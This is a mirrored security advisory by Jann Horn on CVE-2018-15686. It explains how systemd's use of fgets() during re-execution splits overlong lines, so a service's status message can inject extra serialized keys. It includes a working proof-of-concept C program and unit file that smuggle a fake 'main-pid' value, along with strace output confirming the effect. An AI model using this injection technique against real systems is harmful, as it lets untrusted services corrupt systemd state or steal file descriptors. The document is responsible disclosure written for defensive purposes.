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packetstormJann HornPACKETSTORM:149972
HistoryOct 26, 2018 - 12:00 a.m.

Linux systemd Line Splitting

2018-10-2600:00:00
Jann Horn
packetstormsecurity.com
25

0.002 Low

EPSS

Percentile

61.9%

`systemd: reexec state injection: fgets() on overlong lines leads to line splitting   
  
CVE-2018-15686  
  
  
[I am sending this bug report to Ubuntu, even though it's an upstream  
bug, as requested at  
<a href="https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports" title="" class="" rel="nofollow">https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports</a>  
.]  
  
When systemd re-executes (e.g. during a package upgrade), state is  
serialized into a memfd before the execve(), then reloaded after the  
execve(). Serialized data is stored as text, with key-value pairs  
separated by newlines. Values are escaped to prevent control character  
injection.  
  
Lines associated with a systemd unit are read in unit_deserialize()  
using fgets():  
  
char line[LINE_MAX], *l, *v;  
[...]  
if (!fgets(line, sizeof(line), f)) {  
if (feof(f))  
return 0;  
return -errno;  
}  
  
LINE_MAX is 2048:  
  
/usr/include/bits/posix2_lim.h:#define LINE_MAX _POSIX2_LINE_MAX  
/usr/include/bits/posix2_lim.h:#define _POSIX2_LINE_MAX 2048  
  
  
When fgets() encounters overlong input, it behaves dangerously. If a  
line is more than 2047 characters long, fgets() will return the first  
2047 characters and leave the read cursor in the middle of the  
overlong line. Then, when fgets() is called the next time, it  
continues to read data from offset 2047 in the line as if a new line  
started there. Therefore, if an attacker can inject an overlong value  
into the serialized state somehow, it is possible to inject extra  
key-value pairs into the serialized state.  
  
A service that has `NotifyAccess != none` can send a status message to  
systemd that will be stored as a property of the service. When systemd  
re-executes, this status message is stored under the key  
"status-text".  
Status messages that are sent to systemd are received by  
manager_dispatch_notify_fd(). This function has a receive buffer of  
size NOTIFY_BUFFER_MAX==PIPE_BUF==4096.  
  
Therefore, a service with `NotifyAccess != none` can trigger this bug.  
  
  
Reproducer:  
  
Create a simple service with NotifyAccess by copying the following  
text into /etc/systemd/system/notify_test.service (assuming that your  
home directory is /home/user):  
  
=========  
[Unit]  
Description=jannh test service for systemd notifications  
  
[Service]  
Type=simple  
NotifyAccess=all  
FileDescriptorStoreMax=100  
User=user  
ExecStart=/home/user/test_service  
Restart=always  
  
[Install]  
WantedBy=multi-user.target  
=========  
  
Create a small binary that sends an overlong status when it starts up:  
  
=========  
user@ubuntu-18-04-vm:~$ cat test_service.c  
#define _GNU_SOURCE  
#include <unistd.h>  
#include <sys/socket.h>  
#include <sys/un.h>  
#include <err.h>  
#include <signal.h>  
#include <stdio.h>  
  
int main(void) {  
int sock = socket(AF_UNIX, SOCK_DGRAM, 0);  
if (sock == -1) err(1, "socket");  
struct sockaddr_un addr = {  
.sun_family = AF_UNIX,  
.sun_path = "/run/systemd/notify"  
};  
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))) err(1, "connect");  
  
char message[0x2000] = "STATUS=";  
memset(message+7, 'X', 2048-1-12);  
strcat(message, "main-pid=13371337");  
struct iovec iov = {  
.iov_base = message,  
.iov_len = strlen(message)  
};  
union {  
struct cmsghdr cmsghdr;  
char buf[CMSG_SPACE(sizeof(struct ucred))];  
} control = { .cmsghdr = {  
.cmsg_level = SOL_SOCKET,  
.cmsg_type = SCM_CREDENTIALS,  
.cmsg_len = CMSG_LEN(sizeof(struct ucred))  
}};  
struct ucred *ucred = (void*)(control.buf + CMSG_ALIGN(sizeof(struct cmsghdr)));  
ucred->pid = getpid();  
ucred->uid = getuid();  
ucred->gid = getgid();  
struct msghdr msghdr = {  
.msg_iov = &iov,  
.msg_iovlen = 1,  
.msg_control = &control,  
.msg_controllen = sizeof(control)  
};  
if (sendmsg(sock, &msghdr, 0) != strlen(message)) err(1, "sendmsg");  
  
while (1) pause();  
}  
user@ubuntu-18-04-vm:~$ gcc -o test_service test_service.c  
user@ubuntu-18-04-vm:~$  
=========  
  
Install the service, and start it. Then run strace against systemd,  
and run:  
  
=========  
root@ubuntu-18-04-vm:~# systemctl daemon-reexec  
root@ubuntu-18-04-vm:~# systemctl stop notify_test.service  
=========  
  
The "stop" command hangs, and you'll see the following in strace:  
  
=========  
root@ubuntu-18-04-vm:~# strace -p1 2>&1 | grep 13371337  
openat(AT_FDCWD, "/proc/13371337/stat", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)  
kill(13371337, SIG_0) = -1 ESRCH (No such process)  
kill(13371337, SIGTERM) = -1 ESRCH (No such process)  
=========  
  
This demonstrates that systemd's representation of the service's PID  
was clobbered by the status message.  
  
  
This can in theory, depending on how the active services are  
configured and some other things, also be used to e.g. steal file  
descriptors that other services have stored in systemd (visible in  
the serialized representation as "fd-store-fd").  
  
This isn't the only place in systemd that uses fgets(); other uses of  
fgets() should probably also be audited and potentially replaced with  
a safer function.  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
  
Found by: jannh  
  
`